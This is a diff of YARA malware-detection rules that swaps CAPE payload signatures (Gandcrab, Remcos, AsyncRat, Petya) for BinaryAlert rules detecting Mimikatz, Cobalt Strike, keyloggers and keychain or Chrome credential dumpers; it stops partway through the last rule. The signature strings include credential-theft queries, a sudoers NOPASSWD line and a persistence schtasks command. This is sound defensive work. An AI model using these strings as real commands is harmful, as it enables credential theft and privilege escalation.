+rule BINARYALERT_Hacktool_Windows_Mimikatz_Errors
+{
+	meta:
+		description = "Mimikatz credential dump tool: Error messages"
+		author = "@fusionrace"
+		id = "94d50739-fc84-5bfe-821d-5e2851f681e3"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/gentilkiwi/mimikatz"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_errors.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "60fb94b9465b19af3b2df1b26490d4ac19a31a39f2f8c52f1059d37843769b36"
+		score = 75
+		quality = 80
+		tags = ""
+		md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+		md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
 
 	strings:
-		$code1 = {C7 45 ?? ?? ?? 4? 00 C7 45 ?? ?? 10 40 00 C7 45 E? D8 ?? ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 [1-2] 00 10 40 00 89 [5-6] 43 00 89 ?? ?? 68 E8 80 00 00 FF 15}
+		$s1 = "[ERROR] [LSA] Symbols" fullword ascii wide
+		$s2 = "[ERROR] [CRYPTO] Acquire keys" fullword ascii wide
+		$s3 = "[ERROR] [CRYPTO] Symbols" fullword ascii wide
+		$s4 = "[ERROR] [CRYPTO] Init" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule CAPE_Gandcrab : FILE
+rule BINARYALERT_Hacktool_Windows_Mimikatz_Copywrite
 {
 	meta:
-		description = "Gandcrab Payload"
-		author = "kevoreilly"
-		id = "0082e8c9-952e-508c-a438-4e17b8031864"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Gandcrab.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "354ed566dbafbe8e9531bb771d9846952eb8c0e70ee94c26d09368159ce4142c"
+		description = "Mimikatz credential dump tool: Author copywrite"
+		author = "@fusionrace"
+		id = "bf7a52b5-c0af-5805-a2da-41ae3842e0c6"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/gentilkiwi/mimikatz"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_copywrite.yara#L1-L24"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f0e8a8b0c7398e7af06bd074eec0433265ba0e675bdbff354e59432c246b0b36"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Gandcrab Payload"
+		quality = 80
+		tags = ""
+		md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8"
+		md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b"
+		md5_3 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143"
+		md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+		md5_5 = "09c542ff784bf98b2c4899900d4e699c5b2e2619a4c5eff68f6add14c74444ca"
+		md5_6 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
 
 	strings:
-		$string1 = "GDCB-DECRYPT.txt" wide
-		$string2 = "GandCrabGandCrabnomoreransom.coinomoreransom.bit"
-		$string3 = "action=result&e_files=%d&e_size=%I64u&e_time=%d&" wide
-		$string4 = "KRAB-DECRYPT.txt" wide
+		$s1 = "Kiwi en C" fullword ascii wide
+		$s2 = "Benjamin DELPY `gentilkiwi`" fullword ascii wide
+		$s3 = "http://blog.gentilkiwi.com/mimikatz" fullword ascii wide
+		$s4 = "Build with love for POC only" fullword ascii wide
+		$s5 = "gentilkiwi (Benjamin DELPY)" fullword wide
+		$s6 = "KiwiSSP" fullword wide
+		$s7 = "Kiwi Security Support Provider" fullword wide
+		$s8 = "kiwi flavor !" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and any of ($string*)
+		any of them
 }
-rule CAPE_Smokeloader
+rule BINARYALERT_Hacktool_Windows_Rdp_Cmd_Delivery
 {
 	meta:
-		description = "SmokeLoader Payload"
-		author = "kevoreilly"
-		id = "a67e2649-72cc-5dea-aea7-8783146d2979"
-		date = "2023-02-06"
-		modified = "2023-02-06"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/SmokeLoader.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "a2ed982f15a6c687da2fdba216868016722825edf7e8ff6a75f24d81af8276bc"
+		description = "Delivers a text payload via RDP (rubber ducky)"
+		author = "@fusionrace"
+		id = "8d035721-34ee-566f-8851-1c9501de2704"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_rdp_cmd_delivery.yara#L1-L14"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "98bc02bb651fba069828b5960ee47542828f0d530e5e280b15abb0573b8e0168"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "SmokeLoader Payload"
 
 	strings:
-		$rc4_decrypt64 = {41 8D 41 01 44 0F B6 C8 42 0F B6 [2] 41 8D 04 12 44 0F B6 D0 42 8A [2] 42 88 [2] 42 88 [2] 42 0F B6 [2] 03 CA 0F B6 C1 8A [2] 30 0F 48 FF C7 49 FF CB 75}
-		$rc4_decrypt32 = {47 B9 FF 00 00 00 23 F9 8A 54 [2] 0F B6 C2 03 F0 23 F1 8A 44 [2] 88 44 [2] 88 54 [2] 0F B6 4C [2] 0F B6 C2 03 C8 81 E1 FF 00 00 00 8A 44 [2] 30 04 2B 43 3B 9C 24 [4] 72 C0}
-		$fetch_c2_64 = {00 48 8D 05 [3] FF 48 8B CB 48 8B 14 D0 48 8B 5C 24 ?? 48 83 C4 20 5F E9}
-		$fetch_c2_32 = {8B 96 [2] (00|01) 00 8B CE 5E 8B 14 95 [4] E9}
+		$s1 = "Usage: rdp-cmd-delivery.sh OPTIONS" ascii wide
+		$s2 = "[--tofile 'c:\\test.txt' local.ps1 #will copy contents of local.ps1 to c:\\test.txt" ascii wide
+		$s3 = "-cmdfile local.bat                #will execute everything from local.bat" ascii wide
+		$s4 = "To deliver powershell payload, use '--cmdfile script.ps1' but inside powershell console" ascii wide
 
 	condition:
-		2 of them
+		any of them
 }
-rule CAPE_Remcos : FILE
+rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Postexploitation : FILE
 {
 	meta:
-		description = "Remcos Payload"
-		author = "kevoreilly"
-		id = "f77295ca-02d5-5b2c-80b8-b6566610bff8"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Remcos.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "38142e784ad437d9592353b924f74777bb62e5ed176c811230a2021a437d4710"
+		description = "Detection of strings in the post-exploitation modules of Cobalt Strike"
+		author = "@javutin, @mimeframe"
+		id = "76c2a5ae-bc7c-50c7-8731-94c75912574f"
+		date = "2017-12-14"
+		modified = "2017-12-14"
+		reference = "https://www.cobaltstrike.com/support"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_postexploitation.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "1a89128a0f5774d1333be440d38128e29cb36f9818fa44e60482ef078078aca8"
 		score = 75
-		quality = 68
+		quality = 80
 		tags = "FILE"
-		cape_type = "Remcos Payload"
 
 	strings:
-		$name = "Remcos" nocase
-		$time = "%02i:%02i:%02i:%03i"
-		$crypto1 = {81 E1 FF 00 00 80 79 ?? 4? 81 C9 00 FF FF FF 4? 8A ?4 8?}
-		$crypto2 = {0F B6 [1-7] 8B 45 08 [0-2] 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 ?? ?? FF FF 30 06 47 3B 7D 0C 72}
+		$s1 = "\\devcenter\\aggressor\\external\\"
 
 	condition:
-		uint16(0)==0x5A4D and ($name) and ($time) and any of ($crypto*)
+		filesize >10KB and filesize <1000KB and all of ($s*)
 }
-rule CAPE_Cryptoshield : FILE
+rule BINARYALERT_Hacktool_Macos_Manwhoami_Mmetokendecrypt
 {
 	meta:
-		description = "Cryptoshield Payload"
-		author = "kevoreilly"
-		id = "a7b60a0d-7d46-59c9-8273-ee23bae3fbbc"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Cryptoshield.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "46064b4c69cb1af01330c5d194ef50728e0f0479e9fbf72828822935f8e37ac6"
+		description = "This program decrypts / extracts all authorization tokens on macOS / OS X / OSX."
+		author = "@mimeframe"
+		id = "2dc01ff3-4c4a-548d-b2f0-b36897ad6a5c"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/manwhoami/MMeTokenDecrypt"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_mmetokendecrypt.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "ccfedfbff0c6eefe41e80fe488d4cae928a33e7b86019c6ec54d1c9005b35147"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Cryptoshield Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "CRYPTOSHIELD." wide
-		$a2 = "Click on Yes in the next window for restore work explorer" wide
-		$a3 = "r_sp@india.com - SUPPORT"
+		$a1 = "security find-generic-password -ws 'iCloud'" wide ascii
+		$a2 = "ERROR getting iCloud Decryption Key" wide ascii
+		$a3 = "Could not find MMeTokenFile. You can specify the file manually." wide ascii
+		$a4 = "Decrypting token plist ->" wide ascii
+		$a5 = "Successfully decrypted token plist!" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		3 of ($a*)
 }
-rule CAPE_Kronos : FILE
+rule BINARYALERT_Hacktool_Macos_Manwhoami_Osxchromedecrypt
 {
 	meta:
-		description = "Kronos Payload"
-		author = "kevoreilly"
-		id = "921a939b-a037-5973-bd8e-f9f55fce7f0f"
-		date = "2020-07-02"
-		modified = "2020-07-02"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Kronos.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "52ce9caf3627efe8ae86df6ca59e51e9f738e13ac0265f797e8d70123dbcaeb3"
+		description = "Decrypt Google Chrome / Chromium passwords and credit cards on macOS / OS X."
+		author = "@mimeframe"
+		id = "874cc999-d9c2-5017-83ec-e4be8a659476"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/manwhoami/OSXChromeDecrypt"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_osxchromedecrypt.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "0974c6a5e7875e20380df0f58bf22a589b9a5c718e635ec77b42060abcf99473"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Kronos Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "user_pref(\"network.cookie.cookieBehavior\""
-		$a2 = "T0E0H4U0X3A3D4D8"
-		$a3 = "wow64cpu.dll" wide
-		$a4 = "Kronos" fullword ascii wide
+		$a1 = "Credit Cards for Chrome Profile" wide ascii
+		$a2 = "Passwords for Chrome Profile" wide ascii
+		$a3 = "Unknown Card Issuer" wide ascii
+		$a4 = "ERROR getting Chrome Safe Storage Key" wide ascii
+		$b1 = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards" wide ascii
+		$b2 = "select username_value, password_value, origin_url, submit_element from logins" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and (2 of ($a*))
+		3 of ($a*) or all of ($b*)
 }
-rule CAPE_Asyncrat : FILE
+rule BINARYALERT_Hacktool_Macos_Ptoomey3_Keychain_Dumper
 {
 	meta:
-		description = "AsyncRat Payload"
-		author = "kevoreilly, JPCERT/CC Incident Response Group"
-		id = "478557fa-2418-5b13-99d9-2395ce83b9a2"
-		date = "2024-05-23"
-		modified = "2024-05-23"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AsyncRat.yar#L1-L17"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "8f960131bb86e1c09127324bd5877364ab25e0cb37f5f9755230c7fed9094de3"
+		description = "Keychain dumping utility."
+		author = "@mimeframe"
+		id = "c45abbbe-f5fe-5a87-acd4-dcdb99ceec28"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/ptoomey3/Keychain-Dumper"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_ptoomey3_keychain_dumper.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f2ef979e4682ce617b37f7503ec2ca520e657b4f6d15a75afad59b62191a1a43"
 		score = 75
-		quality = 66
-		tags = "FILE"
-		cape_type = "AsyncRat Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$salt = {BF EB 1E 56 FB CD 97 3B B2 19 02 24 30 A5 78 43 00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41}
-		$b1 = {00 00 00 0D 53 00 48 00 41 00 32 00 35 00 36 00 00}
-		$b2 = {09 50 00 6F 00 6E 00 67 00 00}
-		$string1 = "Pastebin" ascii wide nocase
-		$string2 = "Pong" wide
-		$string3 = "Stub.exe" ascii wide
-		$kitty = "StormKitty" ascii
+		$a1 = "keychain_dumper" wide ascii
+		$a2 = "/var/Keychains/keychain-2.db" wide ascii
+		$a3 = "<key>keychain-access-groups</key>" wide ascii
+		$a4 = "SELECT DISTINCT agrp FROM genp UNION SELECT DISTINCT agrp FROM inet" wide ascii
+		$a5 = "dumpEntitlements" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and not $kitty and ($salt and (2 of ($str*) or 1 of ($b*))) or ( all of ($b*) and 2 of ($str*))
+		all of ($a*)
 }
-rule CAPE_Asyncrat_Kingrat
+rule BINARYALERT_Hacktool_Macos_Manwhoami_Icloudcontacts
 {
 	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "jeFF0Falltrades"
-		id = "8fbab9a0-5736-543e-ba7b-c7598190c9e0"
-		date = "2024-05-23"
-		modified = "2024-05-23"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AsyncRat.yar#L19-L40"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "2699ef93ae10b205b79025098afc1d1cfe7dbdf192f4d98a6e34a8f3de154810"
+		description = "Pulls iCloud Contacts for an account. No dependencies. No user notification."
+		author = "@mimeframe"
+		id = "b6595540-7f89-5764-b34e-d32c1a377b6c"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/manwhoami/iCloudContacts"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_icloudcontacts.yara#L1-L14"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "0c5b81454b26de91f5ad126b24f10397e1da5d8561b0bf22c5df128753df0ac2"
 		score = 75
-		quality = 62
+		quality = 80
 		tags = ""
-		cape_type = "AsyncRat Payload"
 
 	strings:
-		$str_async = "AsyncClient" wide ascii nocase
-		$str_aes_exc = "masterKey can not be null or empty" wide ascii
-		$str_schtasks = "schtasks /create /f /sc onlogon /rl highest" wide ascii
-		$dcrat_1 = "dcrat" wide ascii nocase
-		$dcrat_2 = "qwqdan" wide ascii
-		$dcrat_3 = "YW1zaS5kbGw=" wide ascii
-		$dcrat_4 = "VmlydHVhbFByb3RlY3Q=" wide ascii
-		$dcrat_5 = "save_Plugin" wide ascii
-		$byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 }
-		$byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 }
-		$patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 }
-		$patt_config = { 72 [3] 70 80 [3] 04 }
+		$a1 = "https://setup.icloud.com/setup/authenticate/" wide ascii
+		$a2 = "https://p04-contacts.icloud.com/" wide ascii
+		$a3 = "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?" wide ascii
+		$a4 = "HTTP Error 404: URL not found. Did you enter a username?" wide ascii
 
 	condition:
-		( not any of ($dcrat*)) and 6 of them and #patt_config>=10
+		3 of ($a*)
 }
-rule CAPE_Lokibot : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Skreweverything_Swift
 {
 	meta:
-		description = "LokiBot Payload"
-		author = "kevoreilly"
-		id = "8cdf69e2-ecac-5241-adba-c458cce0610f"
-		date = "2022-02-01"
-		modified = "2022-02-01"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/LokiBot.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "a5b3d518371138740e913d2d6ce4fa22d3da5cea7e034c7d6b4b502e6bf44b06"
+		description = "It is a simple and easy to use keylogger for macOS written in Swift."
+		author = "@mimeframe"
+		id = "a4918bc3-d3f0-59f4-894f-fd34ee944fac"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/SkrewEverything/Swift-Keylogger"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_skreweverything_swift.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f400b8ec392417e7443e82a2c2a9adfc868b9795aa1fb29f91d228f6f94efd13"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "LokiBot Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW"
-		$a2 = "last_compatible_version"
+		$a1 = "Can't create directories!" wide ascii
+		$a2 = "Can't create manager" wide ascii
+		$a3 = "Can't open HID!" wide ascii
+		$a4 = "PRINTSCREEN" wide ascii
+		$a5 = "LEFTARROW" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		4 of ($a*)
 }
-rule CAPE_Socks5Systemz : FILE
+rule BINARYALERT_Hacktool_Macos_Exploit_Cve_5889
 {
 	meta:
-		description = "Socks5Systemz Payload"
-		author = "kevoreilly"
-		id = "75831382-bb43-554e-93b1-f54a2255d8b9"
-		date = "2024-05-22"
-		modified = "2024-05-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Socks5Systemz.yar#L1-L18"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "44b83b6d2ab39b4258ae0d97d00d02afdbb62a3973fd788584e4dea9db69cc1b"
+		description = "No description has been set in the source file - BinaryAlert"
+		author = "@mimeframe"
+		id = "ea70d31c-1b70-5927-ba8d-e13d2114e74e"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://www.exploit-db.com/exploits/38371/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_cve_2015_5889.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "b455759ea369cdcf2f05a2735a38000179ebe644667016cd635dfad9beda4459"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Socks5Systemz Payload"
-		packed = "9b997d0de3fe83091726919a0dc653e22f8f8b20b1bb7d0b8485652e88396f29"
+		quality = 80
+		tags = ""
 
 	strings:
-		$chunk1 = {0F B6 84 8A [4] E9 [3] (00|FF)}
-		$chunk2 = {0F B6 04 8D [4] E9 [3] (00|FF)}
-		$chunk3 = {0F B6 04 8D [4] E9 [3] (00|FF)}
-		$chunk4 = {0F B6 04 8D [4] E9 [3] (00|FF)}
-		$chunk5 = {66 0F 6F 05 [4] E9 [3] (00|FF)}
-		$chunk6 = {F0 0F B1 95 [4] E9 [3] (00|FF)}
-		$chunk7 = {83 FA 04 E9 [3] (00|FF)}
+		$a1 = "/etc/sudoers" fullword wide ascii
+		$a2 = "/etc/crontab" fullword wide ascii
+		$a3 = "* * * * * root echo" wide ascii
+		$a4 = "ALL ALL=(ALL) NOPASSWD: ALL" wide ascii
+		$a5 = "/usr/bin/rsh" fullword wide ascii
+		$a6 = "localhost" fullword wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and 6 of them
+		all of ($a*)
 }
-rule CAPE_Tclient : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_B4Rsby_Swiftlog
 {
 	meta:
-		description = "TClient Payload"
-		author = "kevoreilly"
-		id = "38c9ea20-9d91-5fb0-8b3b-170538ad7ea8"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/TClient.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6edcd01e4722b367723ed77d9596877d16ee35dc4c160885d125f83e45cee24d"
+		description = "Dirty user level command line keylogger hacked together in Swift."
+		author = "@mimeframe"
+		id = "b1ae8284-04a0-5818-9997-0e31eb51ed2b"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/b4rsby/SwiftLog"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_b4rsby_swiftlog.yara#L1-L11"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "c66dcab2da0e543198f97ca104c13533c8950d10b6f7cbd3f906348d0f8c45ff"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "TClient Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$code1 = {41 0F B6 00 4D 8D 40 01 34 01 8B D7 83 E2 07 0F BE C8 FF C7 41 0F BE 04 91 0F AF C1 41 88 40 FF 81 FF 80 03 00 00 7C D8}
+		$a1 = "You need to enable the keylogger in the System Prefrences" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of ($code*)
+		all of ($a*)
 }
-rule CAPE_Kpot : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Eldeveloper_Keystats
 {
 	meta:
-		description = "Kpot Stealer"
-		author = "kevoreilly"
-		id = "724fd6ac-e734-5952-b459-01cbaffdb89d"
-		date = "2020-10-19"
-		modified = "2020-10-19"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Kpot.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "75abaab9a10e8ac8808425c389238285ab9bd9cb76f0cd03cc1e35b3ea0a1b0f"
+		description = "A simple keylogger for macOS."
+		author = "@mimeframe"
+		id = "7fddb502-ae2d-5e14-95f5-115498fa5926"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/ElDeveloper/keystats"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_eldeveloper_keystats.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "c73f5ca2ba0a1bde7c1f9b96173938e40511e12f875c4d850d6d498c63e89385"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Kpot Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$format = "%s | %s | %s | %s | %s | %s | %s | %d | %s"
-		$username = "username:s:"
-		$os = "OS: %S x%d"
+		$a1 = "YVBKeyLoggerPerishedNotification" wide ascii
+		$a2 = "YVBKeyLoggerPerishedByLackOfResponseNotification" wide ascii
+		$a3 = "YVBKeyLoggerPerishedByUserChangeNotification" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		2 of ($a*)
 }
-rule CAPE_Petya : FILE
+rule BINARYALERT_Hacktool_Macos_Juuso_Keychaindump
 {
 	meta:
-		description = "Petya Payload"
-		author = "kevoreilly"
-		id = "e581747c-c40f-5689-84b4-d55134b532f7"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Petya.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "f819261bb34f3b2eb7dc2f843b56be25105570fe902a77940a632a54fbe0d014"
+		description = "For reading OS X keychain passwords as root."
+		author = "@mimeframe"
+		id = "10ee6c24-db35-5178-9a40-92f5231948aa"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/juuso/keychaindump"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_juuso_keychaindump.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "dd2fb6249fe4b7381e734ea3a308158159f7e79b39ba5c970241dcd66436d669"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Petya Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "CHKDSK is repairing sector"
-		$a2 = "wowsmith123456@posteo.net"
-		$a3 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" wide
+		$a1 = "[-] Too many candidate keys to fit in memory" wide ascii
+		$a2 = "[-] Could not allocate memory for key search" wide ascii
+		$a3 = "[-] Too many credentials to fit in memory" wide ascii
+		$a4 = "[-] The target file is not a keychain file" wide ascii
